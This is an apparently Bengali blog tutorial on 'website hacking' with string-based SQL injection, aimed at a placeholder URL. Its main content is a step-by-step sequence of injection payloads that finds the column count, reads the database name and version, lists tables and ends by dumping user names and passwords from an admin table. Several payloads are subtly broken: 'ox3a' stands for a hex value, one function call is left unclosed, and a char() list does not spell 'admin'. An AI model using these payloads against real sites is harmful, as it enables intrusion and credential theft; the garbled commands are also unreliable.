Web Site Hacking : String Based SQLi

সবাইকে স্বাগতম আমার ২য় টিউটোরিয়ালে  :lol:

গতবারের টিউটোরিয়ালে আমি লেখেছিলাম basic union based SQL INJECTION নিয়ে।
আজকের টিউটোরিয়ালে আমি লেখবো  String Based SQL Injection নিয়ে ।

SQL Injection নিয়ে লেখা এটা আমার ২য় টিউটোরিয়াল ।
আশা করি মনোযোগ দিয়ে পড়বেন।
চলুন তাহলে শুরু করা যাক

(টিউটোরিয়াল টি শুধুমাত্র শিক্ষনীয় উদ্দ্যেশ্যে লিখিত)

Union Based SQLi কি সেটা বোঝার জন্যে আমার আগের টিউটোরিয়ালটি দেখতে পারেনঃ Web Site Hacking : Union Based Sql Injection
সহজ ভাবে বুঝাতে গেলে String Based Sql Injection হলো যখন একটি সাইট Sql Injection ভুলনরাবল হয় ।
কিন্তু যখন আট্যাকার Sql Injection কমান্ড এক্সিকিউট করে তখন কোনো রেসাল্ট দেখায় না।

(একটা শিক্ষনীয় বিষয়ঃ Sql Injection করার সময় অনেক সাইটে ডাটা ওয়েব পেইজে দেখায় নাহ।। সে ক্ষেত্রে ডাটা দেখায়
টাইটেল বারে ব্রাউজারের)

String Based SQL Injection বোঝা যায় অনেক সময় এরকম এরর দেখে ।
এই ধরনের এরর।

"order by" doesn't work, example: order by 100--

অনেক সময় নাও থাকতে পারে সে ক্ষেত্রে আপনি প্রথমে
Basic SQL অনুসরন করে যদি কোনো রেসাল্ট না পান তাহলে স্ট্রিং বেজড SQL injection ট্রাই করে দেখতে পারেন।

আসলে string based sqli হলে আপনি কমান্ড এক্সিকিউট করার পরও কোনো রেসাল্ট আসবে না ।

সাইটটি আগের মতনই নরমাল দেখাবে।

Union Based এর সাথে String Based এর মধ্যে তেমন কোনো পার্থক্য নেই।
তাহলে আসুন শুরু করা যাক।
মনে করুন এরকম একটি সাইটে আমরা SQLi করবো।

http://site.com/index.php?id=10

প্রথমেই SQLi ভুলনারবল নাকি দেখবো Url এর শেষে ' এই চিহ্ন টি দিয়ে

http://site.com/index.php?id=10'

এরর দেখতে পেলে আমাদের কাজ হবে সাইটটিতে কয়টা কলাম আছে সেটা বের করা ।

এখন আমরা প্রথমেই Union Based চেষ্টা করে দেখবো ।

http://site.com/index.php?id=10 order by 10 (কোনো এরর দেখাচ্ছে না বা ডাটা মিস হচ্ছে না)
order by এর পরের সংখ্যা টি বাড়িয়ে দিয়ে দেখি

http://site.com/index.php?id=10 order by 1000 (কোনো এরর দেখাচ্ছে না বা ডাটা মিস হচ্ছে না)

তাহলে এই সাইটটি তে আমরা String Based SQLi ব্যাবহার করবো।

যার জন্যে আমাদের id=value এরপরে একটি ' (স্ট্রিং) যুক্ত করতে হবে এবং কমান্ড এর শেষে --+ (মাইনাস,মাইনাস,প্লাস) এই সাইন
গুলো যুক্ত করতে হবে।
তাহলে দেখিঃ
http://site.com/index.php?id=10' order by 10--+ (মনে করুন এরর দেখতে পেলাম)

এখন যদি আপনার টার্গেট সাইটে ১০ টি কলাম না থাকে তাহলে আপনি এরর দেখতে পাবেন বা সাইটটি থেকে ডাটা মিস করবে।
(বিঃদ্রঃ টিউটোরিয়ালটি শিক্ষনীয় উদ্দ্যেশ্যে লিখা বিধায় আমি কোনো লাইভ সাইট নিয়ে দেখালাম না।)

  • http://site.com/index.php?id=10' order by 9--+ (still Error)
  • http://site.com/index.php?id=10' order by 8--+ (Error)
  • http://site.com/index.php?id=10' order by 7--+ (Error)
  • http://site.com/index.php?id=10' order by 6--+ (No Error)

তার মানে হলো সাইটটি তে ৬ টি কলাম ।
এখন আমরা এই ছয়টি কলাম থেকে কোন কলাম টি ভুলনারাবল বা স্ট্রিং কলাম সেটা চেক করবো যার জন্যে কমান্ড হবেঃ

  • http://site.com/index.php?id=-10' union select 1,2,3,4,5,6--+

এখন সাইটের পেইজে বা ব্রাউজারের টাইটেল বারে ভুলরাবল কলাম/কলামটির নাম্বার দেখাবে ।
(ভুলনারবল কলামের সংখ্যা অনেক সময় ২ টি বা তার অধিক হতে পারে)

এখন আমরা যদি ভুলনারবল কলাম পায় ২ নম্বর কলাম।
তাহলে আমরা সেই কলামের জায়গায় SQLi কমান্ড দিয়ে ডাটাবেস থেকে ডাটা রিড করতে পারবো।

#প্রথমে দেখি নিয় ডাটাবেসের Version কি ও Database Name কি এবং Database User এর নাম ।
যার জন্যে আমরা কমান্ড ব্যাবহার করবো " group_concat(database()),concat(user(),ox3a,version "

উদাহারনঃ

  • http://site.com/index.php?id=-10' union select 1,group_concat(database()),concat(user(),ox3a,version ,3,4,5,6--+

(এখানে যেহুতু ভুলনারবল কলাম ২ তাই আমরা ২ নম্বর এর জায়গায় আমাদের কমান্ড রান করাবো)

এখন আমরা
Version ,Database Name , Database User এইগুলা দেখতে পাবো ...
এখন আমরা যদি ডাটাবেজের টেবল গুলো দেখতে চায় তাহলে কমান্ড হবে

  • http://site.com/index.php?id=-10' union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema=database()--+-

এখন আমরা ডাটাবেসের টেবল গুলোর নাম দেখতে পাবো।

এখন যদি আপনি যে টেবিল গুলো পেলেন তার মধ্যে আপনার কাঙ্খিত ডাটা যে টেবিলে আছে সেই টেবিল থেকে কলাম বের করতে চান।
মনে করেন যে আপনি পেয়েছেন "admin" নামে এই টেবিল টি এখন আপনি যদি "admin" টেবিলের কলাম গুলো দেখতে চান তার জন্যে কমান্ড হবে

প্রথমে "admin" টেবিল নেমটিকে হেক্সে (hex) কনভার্ট করে নিতে হবে। যার জন্যে মোজিলা ব্রাউজারে হ্যাকবার নামে একটি এডঅন আছে
সেটা ব্যাবহার করতে পারেন ।
"admin" টেবিলকে হেক্সে রুপান্তর করার পর পেলাম 0x61646d696e

এখন কমান্ডটা হবে।

উদাহারণঃ

  • http://site.com/index.php?id=-10' union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_name=char(104,111,109,101,112,97,103,101,117,115,101,114,115)--+-

এখন আমরা "admin" টেবিলের কলাম গুলো দেখতে পাবো।

মনে করুন আমরা পেলামঃ "id , user , password"
এই তিনটি কলাম পেলাম । এখন আমরা যদি এই তিনটি কলাম থেকে ডাটা ডাম্প করতে চায় বা হ্যাক করতে চায় ।
তাহলে কমান্ড হবে ।

উদাহারণঃ

  • http://site.com/index.php?id=-10' union select 1,2,3,group_concat(id,0x3e,user,0x3e,password),5,6 from admin--+-

এই কমান্ডটি আমাদের admin টেবিলের id,user,password এই কলাম গুলোর ডাটা দেখাবে :)

ধন্যবাদ কষ্ট করে পড়ার জন্যে ।
কোনো অসুবিধা হলে অথবা কোনো কারণে যোগাযোগ করতে চায়লে আমার ফেইসবুক আইডিতে যোগাযোগ করতে পারেনঃ

FACEBOOK ID

ধন্যবাদ – মূল লেখকে FACEBOOK ID

Previous
Next Post »

পোস্ট সম্পর্কিত সমস্যার জন্য মন্তব্য দিন।ডাউনলোড লিঙ্ক এ সমস্যা জন্য ইনবক্স করুন Aimzworld007
ConversionConversion EmoticonEmoticon

Thanks for your comment